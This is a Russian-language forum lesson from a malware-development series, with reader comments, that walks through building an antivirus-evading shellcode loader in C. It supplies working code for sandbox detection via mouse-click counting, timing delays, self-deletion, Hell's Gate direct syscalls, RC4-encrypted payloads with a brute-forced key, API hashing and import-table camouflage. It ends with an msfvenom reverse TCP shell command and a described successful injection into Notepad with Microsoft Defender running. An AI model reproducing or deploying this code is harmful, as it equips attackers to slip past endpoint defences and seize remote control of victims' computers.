    // Преобразование минут в миллисекунды
    DWORD dwMilliSeconds = ftMinutes * 60000;
    LARGE_INTEGER DelayInterval = { 0 };
    LONGLONG Delay = NULL;
    NTSTATUS STATUS = NULL;
    fnNtDelayExecution pNtDelayExecution = (fnNtDelayExecution)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtDelayExecution");
    DWORD _T0 = NULL;
    DWORD _T1 = NULL;

    printf("[i] Задержка выполнения с использованием \"NtDelayExecution\" на %0.3d секунд", (dwMilliSeconds / 1000));

    // Преобразование из миллисекунд в 100-наносекундные интервалы времени (отрицательные)
    Delay = dwMilliSeconds * 10000;
    DelayInterval.QuadPart = -Delay;

    _T0 = GetTickCount64();

    // Пауза на 'dwMilliSeconds' мс
    if ((STATUS = pNtDelayExecution(FALSE, &DelayInterval)) != 0x00 && STATUS != STATUS_TIMEOUT) {
        printf("[!] NtDelayExecution не удалось с ошибкой: 0x%0.8X\n", STATUS);
        return FALSE;
    }

    _T1 = GetTickCount64();

    // Если прошло по крайней мере 'dwMilliSeconds' мс, то 'DelayExecutionVia_NtDE' успешно, в противном случае неудача
    if ((DWORD)(_T1 - _T0) < dwMilliSeconds)
        return FALSE;

    printf("\n\t>> _T1 - _T0 = %d\n", (DWORD)(_T1 - _T0));

    printf("[+] ГОТОВО\n");

    return TRUE;
}

Функция AntiAnalysis
C:
// using the 'extern' keyword, because this variable is already defined in the 'Inject.c' file
extern VX_TABLE g_Sys;

//...

BOOL AntiAnalysis(DWORD dwMilliSeconds) {

    HANDLE                    hThread            = NULL;
    NTSTATUS                STATUS            = NULL;
    LARGE_INTEGER            DelayInterval    = { 0 };
    FLOAT                    i                = 1;
    LONGLONG                Delay            = NULL;

    Delay = dwMilliSeconds * 10000;
    DelayInterval.QuadPart = -Delay;

    // Self-deletion
    if (!DeleteSelf()) {
        // we dont care for the result - but you can change this if you want
    }

    // Try 10 times, after that return FALSE
    while (i <= 10) {

        printf("[#] Monitoring Mouse-Clicks For %d Seconds - Need 6 Clicks To Pass\n", (dwMilliSeconds / 1000));

        // Creating a thread that runs 'MouseClicksLogger' function
        HellsGate(g_Sys.NtCreateThreadEx.wSystemCall);
        if ((STATUS = HellDescent(&hThread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, MouseClicksLogger, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
            printf("[!] NtCreateThreadEx Failed With Error : 0x%0.8X \n", STATUS);
            return FALSE;
        }

        // Waiting for the thread for 'dwMilliSeconds'
        HellsGate(g_Sys.NtWaitForSingleObject.wSystemCall);
        if ((STATUS = HellDescent(hThread, FALSE, &DelayInterval)) != 0 && STATUS != STATUS_TIMEOUT) {
            printf("[!] NtWaitForSingleObject Failed With Error : 0x%0.8X \n", STATUS);
            return FALSE;
        }

        HellsGate(g_Sys.NtClose.wSystemCall);
        if ((STATUS = HellDescent(hThread)) != 0) {
            printf("[!] NtClose Failed With Error : 0x%0.8X \n", STATUS);
            return FALSE;
        }

        // Unhooking
        if (g_hMouseHook && !UnhookWindowsHookEx(g_hMouseHook)) {
            printf("[!] UnhookWindowsHookEx Failed With Error : %d \n", GetLastError());
            return FALSE;
        }

        // Delaying execution for specific amount of time
        if (!DelayExecutionVia_NtDE((FLOAT)(i / 2)))
            return FALSE;

        // If the user clicked more than 5 times, we return true
        if (g_dwMouseClicks > 5)
            return TRUE;

        // If not, we reset the mouse-clicks variable, and monitor the mouse-clicks again
        g_dwMouseClicks = NULL;

        // Increment 'i', so that next time 'DelayExecutionVia_NtDE' will wait longer
        i++;
    }

    return FALSE;
}

Кратко о функции AntiAnalysis:

1. Она принимает dwMilliSeconds в качестве входного параметра, который представляет собой количество времени для мониторинга кликов мыши.

2. Эта функция начинает с вызова DeleteSelf для удаления файла с диска.

3. Затем запускается цикл while, который запускает MouseClicksLogger через новый поток и ждет его в течение времени, указанного в dwMilliSeconds.

4. После истечения времени потока хуки удаляются, и выполнение программы задерживается на половину значения переменной i, где i представляет собой значение для задержки выполнения в минутах.

5. Затем функция проверяет общее количество кликов мыши перед задержкой. Если их меньше 5, то глобальная переменная монитора кликов мыши, g_dwMouseClicks, сбрасывается, чтобы следующий цикл начал тестирование кликов мыши сначала.

6. Увеличение переменной i заставляет последующую функцию DelayExecutionVia_NtDE ждать дольше, создавая способ задержки выполнения в песочнице.

common.h
Код:
// Название нового потока данных
#define NEW_STREAM L":RuSfera"

BOOL AntiAnalysis(DWORD dwMilliSeconds);

Main.c:

C:
if (!AntiAnalysis(20000)) {
    printf("[!] Обнаружена виртуальная среда\n");
}

Здесь 20000 представляет собой время мониторинга кликов мыши в миллисекундах.

NtDelayExecution через Hell's Gate

Hell's Gate можно использовать для вызова NtDelayExecution, что требует обновления определения структуры VX_TABLE, расположенной в Common.h, и функции InitializeSyscalls для добавления элемента VX_TABLE_ENTRY NtDelayExecution и его инициализации. Программе Hasher также потребуется использование для вычисления хеша для системного вызова, как это было сделано в предыдущих шагах.

Результаты анти-анализа

На следующем изображении показан результат выполнения функции AntiAnalysis во время выполнения.

1696770214119.png


Шифрование полезной нагрузки

Для шифрования полезной нагрузки будет использован файл HellShell.exe. Команда, которая будет использоваться, - это .\HellShell.exe calc.bin rc4, где calc.bin - это файл с необработанной полезной нагрузкой. Зашифрованная полезная нагрузка заменит предыдущую нешифрованную полезную нагрузку в файле main.c.

Кроме того, функция Rc4EncryptionViSystemFunc032, которая отвечает за расшифровку, будет сохранена в файле Inject.c.

Взлом методом перебора

HellShell.exe генерирует следующий ключ.

unsigned char Rc4Key[] = { 0x61, 0x1A, 0xA0, 0xAA, 0xA7, 0x92, 0x9F, 0xBA, 0x8F, 0xCE, 0x4C, 0xD8, 0x11, 0xFA, 0xED, 0xB9 };

Ключ будет зашифрован, а затем расшифрован с использованием метода перебора. Сначала ключ нужно зашифровать. Это будет сделано с помощью нового проекта.
Этот новый проект предоставлен в коде данного модуля и называется KeyGuard2.

1696771472903.png


Функция Rc4EncryptionViSystemFunc032 будет обновлена, чтобы включить логику метода перебора. Эта функция будет вызываться из RemoteMappingInjectionViaSyscalls.

C:
BOOL Rc4EncryptionViSystemFunc032(IN PBYTE pRc4Key, IN PBYTE pPayloadData, IN DWORD dwRc4KeySize, IN DWORD sPayloadSize) {

    // Результат SystemFunction032
    NTSTATUS STATUS = NULL;
    BYTE RealKey[KEY_SIZE] = { 0 };
    int b = 0;

    // Перебор ключа:
    while (1) {
        // Используя намек байта, если это равно, то мы нашли значение 'b', необходимое для расшифровки ключа
        if (((pRc4Key[0] ^ b) - 0) == HINT_BYTE)
            break;
        // В противном случае увеличиваем 'b' и пытаемся снова
        else
            b++;
    }

    printf("[i] Рассчитанное значение 'b' : 0x%0.2X \n", b);

    // Расшифровка ключа
    for (int i = 0; i < KEY_SIZE; i++) {
        RealKey[i] = (BYTE)((pRc4Key[i] ^ b) - i);
    }

    // Создание 2 переменных типа USTRING, одна передается в качестве ключа, а другая - в качестве блока данных для шифрования/расшифровки
    USTRING Key = { .Buffer = RealKey, .Length = dwRc4KeySize, .MaximumLength = dwRc4KeySize },
            Img = { .Buffer = pPayloadData, .Length = sPayloadSize, .MaximumLength = sPayloadSize };


    // Поскольку функция SystemFunction032 экспортируется из Advapi32.dll, мы загружаем ее в процесс с помощью Advapi32,
    // И используем ее возвращаемое значение в качестве параметра hModule в GetProcAddress
    fnSystemFunction032 SystemFunction032 = (fnSystemFunction032)GetProcAddress(LoadLibraryA("Advapi32"), "SystemFunction032");

    // Если вызовы SystemFunction032 завершаются неудачно, они вернут ненулевое значение
    if ((STATUS = SystemFunction032(&Img, &Key)) != 0x0) {
        printf("[!] ОШИБКА SystemFunction032 : 0x%0.8X\n", STATUS);
        return FALSE;
    }

    return TRUE;
}
}

Результаты взлома методом перебора

Выполнение полезной нагрузки (функции анти-анализа отключены).

1696771637240.png


Хэширование API

До сих пор все использованные WinAPI вызывались напрямую, что означает, что их можно найти в IAT реализации. Чтобы решить эту проблему, создается новый файл, ApiHashing.c, который содержит необходимые функции для реализации хэширования API.

ApiHashing.c

C:
#include <Windows.h>
#include "Structs.h"
#include "Common.h"

FARPROC GetProcAddressH(HMODULE hModule, DWORD dwApiNameHash) {

    if (hModule == NULL || dwApiNameHash == NULL)
        return NULL;

    PBYTE pBase = (PBYTE)hModule;

    PIMAGE_DOS_HEADER       pImgDosHdr       = (PIMAGE_DOS_HEADER)pBase;
    if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
        return NULL;

    PIMAGE_NT_HEADERS       pImgNtHdrs       = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
    if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
        return NULL;

    IMAGE_OPTIONAL_HEADER   ImgOptHdr        = pImgNtHdrs->OptionalHeader;
    PIMAGE_EXPORT_DIRECTORY pImgExportDir    = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    PDWORD            FunctionNameArray       = (PDWORD)(pBase + pImgExportDir->AddressOfNames);
    PDWORD            FunctionAddressArray    = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions);
    PWORD            FunctionOrdinalArray    = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals);

    for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) {
        CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
        PVOID    pFunctionAddress = (PVOID)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);

        // Хэшируем каждое имя функции `pFunctionName`
        // Если оба хэша равны, то мы нашли нужную функцию
        if (dwApiNameHash == HASHA(pFunctionName)) {
            return pFunctionAddress;
        }
    }

    return NULL;
}

HMODULE GetModuleHandleH(DWORD dwModuleNameHash) {

    if (dwModuleNameHash == NULL)
        return NULL;

#ifdef _WIN64
    PPEB            pPeb = (PEB*)(__readgsqword(0x60));
#elif _WIN32
    PPEB            pPeb = (PEB*)(__readfsdword(0x30));
#endif

    PPEB_LDR_DATA            pLdr = (PPEB_LDR_DATA)(pPeb->Ldr);
    PLDR_DATA_TABLE_ENTRY    pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink);

    while (pDte) {

        if (pDte->FullDllName.Length != NULL && pDte->FullDllName.Length < MAX_PATH) {

            // Преобразование `FullDllName.Buffer` в строку верхнего регистра
            CHAR UpperCaseDllName[MAX_PATH];

            DWORD i = 0;
            while (pDte->FullDllName.Buffer[i]) {
                UpperCaseDllName[i] = (CHAR)toupper(pDte->FullDllName.Buffer[i]);
                i++;
            }
            UpperCaseDllName[i] = '\0';

            // Хэшируем `UpperCaseDllName` и сравниваем значение хэша с входным `dwModuleNameHash`
            if (HASHA(UpperCaseDllName) == dwModuleNameHash)
                return (HMODULE)(pDte->InInitializationOrderLinks.Flink);
        }
        else {
            break;
        }

        pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte);
    }

    return NULL;
}

Файл заголовка

Перед продолжением необходимо создать новый файл заголовка, typedef.h, чтобы определить используемые WinAPI в виде указателей на функции для ясности и возможности поддержки. Common.h будет необходимо включить файл заголовка typedef.h с помощью #include "typedef.h".

typedef.h

C:
#pragma once
#include <Windows.h>
typedef ULONGLONG(WINAPI* fnGetTickCount64)();

typedef HANDLE(WINAPI* fnOpenProcess)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);

typedef LRESULT(WINAPI* fnCallNextHookEx)(HHOOK hhk, int nCode, WPARAM wParam, LPARAM lParam);

typedef HHOOK(WINAPI* fnSetWindowsHookExW)(int idHook, HOOKPROC lpfn, HINSTANCE hmod, DWORD dwThreadId);

typedef BOOL(WINAPI* fnGetMessageW)(LPMSG lpMsg, HWND hWnd, UINT wMsgFilterMin, UINT wMsgFilterMax);

typedef LRESULT(WINAPI* fnDefWindowProcW)(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam);

typedef BOOL(WINAPI* fnUnhookWindowsHookEx)(HHOOK hhk);

typedef DWORD(WINAPI* fnGetModuleFileNameW)(HMODULE hModule, LPWSTR lpFilename, DWORD nSize);

typedef HANDLE(WINAPI* fnCreateFileW)(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);

typedef BOOL(WINAPI* fnSetFileInformationByHandle)(HANDLE hFile, FILE_INFO_BY_HANDLE_CLASS FileInformationClass, LPVOID lpFileInformation, DWORD dwBufferSize);

typedef BOOL(WINAPI* fnCloseHandle)(HANDLE hObject);

Структура API_HASHING

Далее в Common.h определяется новая структура API_HASHING, которая используется для хранения адресов используемых WinAPI, делая их более доступными для использования в функциях реализации.

Common.h

C:
typedef struct _API_HASHING {

    fnGetTickCount64                pGetTickCount64;
    fnOpenProcess                   pOpenProcess;
    fnCallNextHookEx                pCallNextHookEx;
    fnSetWindowsHookExW             pSetWindowsHookExW;
    fnGetMessageW                   pGetMessageW;
    fnDefWindowProcW                pDefWindowProcW;
    fnUnhookWindowsHookEx           pUnhookWindowsHookEx;
    fnGetModuleFileNameW            pGetModuleFileNameW;
    fnCreateFileW                   pCreateFileW;
    fnSetFileInformationByHandle    pSetFileInformationByHandle;
    fnCloseHandle                   pCloseHandle;

} API_HASHING, *PAPI_HASHING;

Обновление VX_Table

Функции GetModuleHandleH и GetProcAddressH должны быть использованы для инициализации элементов структуры API_HASHING. Затем функция InitializeSyscalls использует эти функции для инициализации структуры VX_TABLE, которая используется для вызова syscalls.

C:
// ...

API_HASHING g_Api = {0};

BOOL InitializeSyscalls() {

// Получить PEB
PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
    return FALSE;

// Получить модуль NTDLL
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);

// Получить EAT из NTDLL
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
    return FALSE;

g_Sys.NtCreateSection.uHash          = NtCreateSection_JOAA;
g_Sys.NtMapViewOfSection.uHash       = NtMapViewOfSection_JOAA;
g_Sys.NtUnmapViewOfSection.uHash     = NtUnmapViewOfSection_JOAA;
g_Sys.NtClose.uHash                  = NtClose_JOAA;
g_Sys.NtCreateThreadEx.uHash         = NtCreateThreadEx_JOAA;
g_Sys.NtWaitForSingleObject.uHash    = NtWaitForSingleObject_JOAA;
g_Sys.NtQuerySystemInformation.uHash = NtQuerySystemInformation_JOAA;
g_Sys.NtDelayExecution.uHash         = NtDelayExecution_JOAA;

// Инициализировать syscalls
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtCreateSection))
    return FALSE;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtMapViewOfSection))
    return FALSE;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtUnmapViewOfSection))
    return FALSE;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtClose))
    return FALSE;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtCreateThreadEx))
    return FALSE;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtWaitForSingleObject))
    return FALSE;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtQuerySystemInformation))
    return FALSE;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &g_Sys.NtDelayExecution))
    return FALSE;

// Экспортированный User32.dll
g_Api.pCallNextHookEx      = (fnCallNextHookEx)GetProcAddressH(GetModuleHandleH(USER32DLL_JOAA), CallNextHookEx_JOAA);
g_Api.pDefWindowProcW      = (fnDefWindowProcW)GetProcAddressH(GetModuleHandleH(USER32DLL_JOAA), DefWindowProcW_JOAA);
g_Api.pGetMessageW         = (fnGetMessageW)GetProcAddressH(GetModuleHandleH(USER32DLL_JOAA), GetMessageW_JOAA);
g_Api.pSetWindowsHookExW   = (fnSetWindowsHookExW)GetProcAddressH(GetModuleHandleH(USER32DLL_JOAA), SetWindowsHookExW_JOAA);
g_Api.pUnhookWindowsHookEx = (fnUnhookWindowsHookEx)GetProcAddressH(GetModuleHandleH(USER32DLL_JOAA), UnhookWindowsHookEx_JOAA);

if (g_Api.pCallNextHookEx == NULL || g_Api.pDefWindowProcW == NULL || g_Api.pGetMessageW == NULL || g_Api.pSetWindowsHookExW == NULL || g_Api.pUnhookWindowsHookEx == NULL)
    return FALSE;

// Экспортированный Kernel32.dll
g_Api.pGetModuleFileNameW          = (fnGetModuleFileNameW)GetProcAddressH(GetModuleHandleH(KERNEL32DLL_JOAA), GetModuleFileNameW_JOAA);
g_Api.pCloseHandle                 = (fnCloseHandle)GetProcAddressH(GetModuleHandleH(KERNEL32DLL_JOAA), CloseHandle_JOAA);
g_Api.pCreateFileW                 = (fnCreateFileW)GetProcAddressH(GetModuleHandleH(KERNEL32DLL_JOAA), CreateFileW_JOAA);
g_Api.pGetTickCount64              = (fnGetTickCount64)GetProcAddressH(GetModuleHandleH(KERNEL32DLL_JOAA), GetTickCount64_JOAA);
g_Api.pOpenProcess                 = (fnOpenProcess)GetProcAddressH(GetModuleHandleH(KERNEL32DLL_JOAA), OpenProcess_JOAA);
g_Api.pSetFileInformationByHandle  = (fnSetFileInformationByHandle)GetProcAddressH(GetModuleHandleH(KERNEL32DLL_JOAA), SetFileInformationByHandle_JOAA);

if (g_Api.pGetModuleFileNameW == NULL || g_Api.pCloseHandle == NULL || g_Api.pCreateFileW == NULL || g_Api.pGetTickCount64 == NULL || g_Api.pOpenProcess == NULL || g_Api.pSetFileInformationByHandle == NULL)
    return FALSE;

return TRUE;
}

Хеши WinAPI генерируются проектом Hasher, как показано ниже.

1696772280386.png


Следующий шаг - использовать структуру g_Api для вызова всех функций WinAPI, добавив перед каждой из них префикс g_Api.<WinAPI>. Например, функция OpenProcess должна вызываться как g_Api.pOpenProcess.

Ошибка хеширования API SystemFunction032

При попытке применить хеширование API к функции SystemFunction032 (которая не включена в структуру g_Api), произойдет следующее исключение.

1696772395195.png


При попытке выполнить SystemFunction032 по адресу 0x00007FFC42C09FF2 выбрасывается исключение. Похоже, это действительный адрес, так как он извлекается с помощью следующей строки кода:

C:
fnSystemFunction032 SystemFunction032 = (fnSystemFunction032)GetProcAddressH(LoadLibraryA("Advapi32"), SystemFunction032_JOAA);

Используйте xdbg, чтобы проверить адрес и понять причину проблемы

1696772438246.png


Функции переадресации

Адрес, полученный с помощью GetProcAddressH, не указывает на функцию, а указывает на строку "CRYPTSP.SystemFunction032". Это указывает на наличие функции переадресации, когда функция, экспортированная из одной DLL (DLL A), находится в другой DLL (DLL B).

Таким образом, вместо загрузки Advapi32.dll (DLL A) для поиска SystemFunction032 следует загрузить Cryptsp.dll (DLL B), так как он содержит фактический адрес. Это указывается строкой "CRYPTSP.SystemFunction032", которая дает намек на расположение функции. Это необходимо, потому что GetProcAddressH не обрабатывает функции переадресации. Внесением этого незначительного изменения код теперь будет успешно компилироваться и выполняться.

1696772539366.png


Удаление библиотеки CRT


Следуя инструкциям, описанным в Уроки - Разработка вирусов-33.Уменьшение вероятности детекта зверька, можно удалить библиотеку CRT.

Ошибка возникнет из-за использования функций printf и wprintf. Чтобы решить эту проблему, можно использовать пользовательскую функцию для замены этих функций. Функциональность печати будет включена только при включенном режиме отладки. Замены функций printf и wprintf следует сохранить в новом файле с именем Debug.h, который должен быть включен во все файлы, которые вызывают printf или wprintf.

Debug.h:
C:
#pragma once#include <Windows.h>// uncomment to enable debug mode
//\
#define DEBUG



#ifdef DEBUG// wprintf replacement
#define PRINTW( STR, ... )                                                                  \
    if (1) {                                                                                \
        LPWSTR buf = (LPWSTR)HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 );         \
        if ( buf != NULL ) {                                                                \
            int len = wsprintfW( buf, STR, __VA_ARGS__ );                                   \
            WriteConsoleW( GetStdHandle( STD_OUTPUT_HANDLE ), buf, len, NULL, NULL );       \
            HeapFree( GetProcessHeap(), 0, buf );                                           \
        }                                                                                   \
    }  // printf replacement
#define PRINTA( STR, ... )                                                                  \
    if (1) {                                                                                \
        LPSTR buf = (LPSTR)HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 );           \
        if ( buf != NULL ) {                                                                \
            int len = wsprintfA( buf, STR, __VA_ARGS__ );                                   \
            WriteConsoleA( GetStdHandle( STD_OUTPUT_HANDLE ), buf, len, NULL, NULL );       \
            HeapFree( GetProcessHeap(), 0, buf );                                           \
        }                                                                                   \
    }  #endif // DEBUG

C:
// Only print if debug mode is enabled
#ifdef DEBUGPRINTA("...");
#endif

Если попытаться скомпилировать после этого, появятся другие ошибки, потому что функции memcpy, memset, toupper также импортируются из библиотеки CRT. Чтобы исправить эту проблему, необходимо добавить пользовательские функции, которые будут выполнять ту же логику. Эти функции должны быть сохранены в файле WinApi.c, который показан ниже.

WinApi.c
C:
CHAR _toUpper(CHAR C)
{
    if (C >= 'a' && C <= 'z')
        return C - 'a' + 'A';

    return C;
}

PVOID _memcpy(PVOID Destination, PVOID Source, SIZE_T Size)
{
    for (volatile int i = 0; i < Size; i++) {
        ((BYTE*)Destination)[i] = ((BYTE*)Source)[i];
    }
    return Destination;
}

extern void* __cdecl memset(void*, int, size_t);
#pragma intrinsic(memset)#pragma function(memset)void* __cdecl memset(void* Destination, int Value, size_t Size) {
    unsigned char* p = (unsigned char*)Destination;
    while (Size > 0) {
        *p = (unsigned char)Value;
        p++;
        Size--;
    }
    return Destination;
}

Есть еще одна ошибка, которую нужно решить: неопределенный символ _fltused. Символ _fltused - это глобальная переменная в библиотеке CRT, которая используется для определения, были ли в программе использованы операции с плавающей запятой. Создав новую переменную с именем _fltused и установив ее значение на ноль, ошибка будет исправлена. Это отражает инициализацию переменной библиотекой CRT, что приведет к тому, что компилятор построит проект без ошибок.

Камуфляж IAT

В качестве последнего шага следует добавить заголовочный файл IatCamouflage.h, который содержит тот же код, что представлен тут Уроки - Разработка вирусов-33.Уменьшение вероятности детекта зверька.

IatCamouflage.h должен быть включен только в файл main.c и вызван в начале основной функции, чтобы таблица адресов импорта реализации выглядела добросовестно.

Финальный результат

Эта демонстрация использует обратный TCP-шелл от Msfvenom, который генерируется с помощью команды, представленной ниже.
Код:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.16.111 LPORT=4444 -f raw -o reverse.bin

IAT AV.exe показан ниже.

1696774067637.png


Далее AV.exe внедряется в Notepad.exe с включенным Microsoft Defender.

1696774084306.png


Успешное обратное соединение устанавливается с атакующей машиной, и выполняется демонстрационная команда.

1696774103035.png


Процесс Notepad.exe имеет PID 20288, который совпадает с PID на предыдущем изображении.

1696774143701.png
 

Вложения

  • 1696763490784.png
    1696763490784.png
    169.2 КБ · Просмотры: 4
  • 1696764748523.png
    1696764748523.png
    173.7 КБ · Просмотры: 4
  • 1696770547308.png
    1696770547308.png
    82.8 КБ · Просмотры: 4

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 094
Репутация
8 212
Всегда бы так, дочитал статью - следом вышла новая:Mem1:
Я спешил, там уже последняя 35 вышла, но там немного, для ознакомления.

В будущем опубликую pdf книгу этих статей.

К сожалению сейчас времени немного будет, но книгу постараюсь сделать.

Незнаю на сколько качественные получились эти статьи, но может кому-то будет интересно.)
 

Spectrum735

Просветленный
Просветленный
Регистрация
21.02.2019
Сообщения
269
Репутация
146
Незнаю на сколько качественные получились эти статьи, но может кому-то будет интересно.)
Местами чувствуется машинный перевод, но в целом он неплохой и было интересно почитать
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 094
Репутация
8 212
Местами чувствуется машинный перевод, но в целом он неплохой и было интересно почитать
Да это переводы ChatGPT, но я прочитывал на раз, что-то правил.)

Это лучше чем просто гугловый перевод, но иногда ии заносило, и он отсебятину какую-то выдавал, приходилось править.

Интересно что в некоторых местах даже неплохо получалось, но редко.)
 

alexandro1998

Пользователь
Форумчанин
Регистрация
08.12.2023
Сообщения
26
Репутация
10
Мозг вскипел, но я дочитал - мощный ты мужик!)
 
Автор темы Похожие темы Форум Ответы Дата
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 5
X-Shar Введение в разработку вредоносных программ 1
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
X-Shar Введение в разработку вредоносных программ 3
X-Shar Введение в разработку вредоносных программ 2
X-Shar Введение в разработку вредоносных программ 0
Похожие темы
Уроки Разработка вирусов-35.Обход EDRs.Последняя тема цикла
Уроки Разработка вирусов-33.Уменьшение вероятности детекта зверька
Уроки Разработка вирусов-32.Открываем врата ада
Уроки Разработка вирусов-31.Обход виртуальных машин
Уроки Разработка вирусов-30.Черпаем силы в антиотладке
Уроки Разработка вирусов-29. Предельная техника-2. Практика. Реализуем техники инъекции через сисколы
Уроки Разработка вирусов-28. Предельная техника. Разборка с сисколами
Уроки Разработка вирусов-27.Кунгфу-2.Изучаем API Hooking
Уроки Разработка вирусов-26. Изучаем кунгфу-1. Скрытие таблицы импорта
Уроки Разработка вирусов-25. Скрытие строк
Уроки Разработка вирусов-24. Изучаем технику Spoofing
Уроки Разработка вирусов-23. Контроль выполнения полезной нагрузки
Уроки Разработка вирусов-22.Изучаем технику Stomping Injection
Уроки Разработка вирусов-21.Инъекция отображаемой памяти
Уроки Разработка вирусов-20.Вызов кода через функции обратного вызова
Уроки Разработка вирусов-19.Изучаем технику APC Injection
Уроки Разработка малвари-18.Определение PID нужного процесса, или перечисления процессов
Уроки Разработка вирусов-17.Изучаем технику Thread Hijacking
Уроки Разработка вирусов-16.Разборка с цифровой подписью зверька
Уроки Разработка вирусов-15. Прячем Payload в реестре
Верх Низ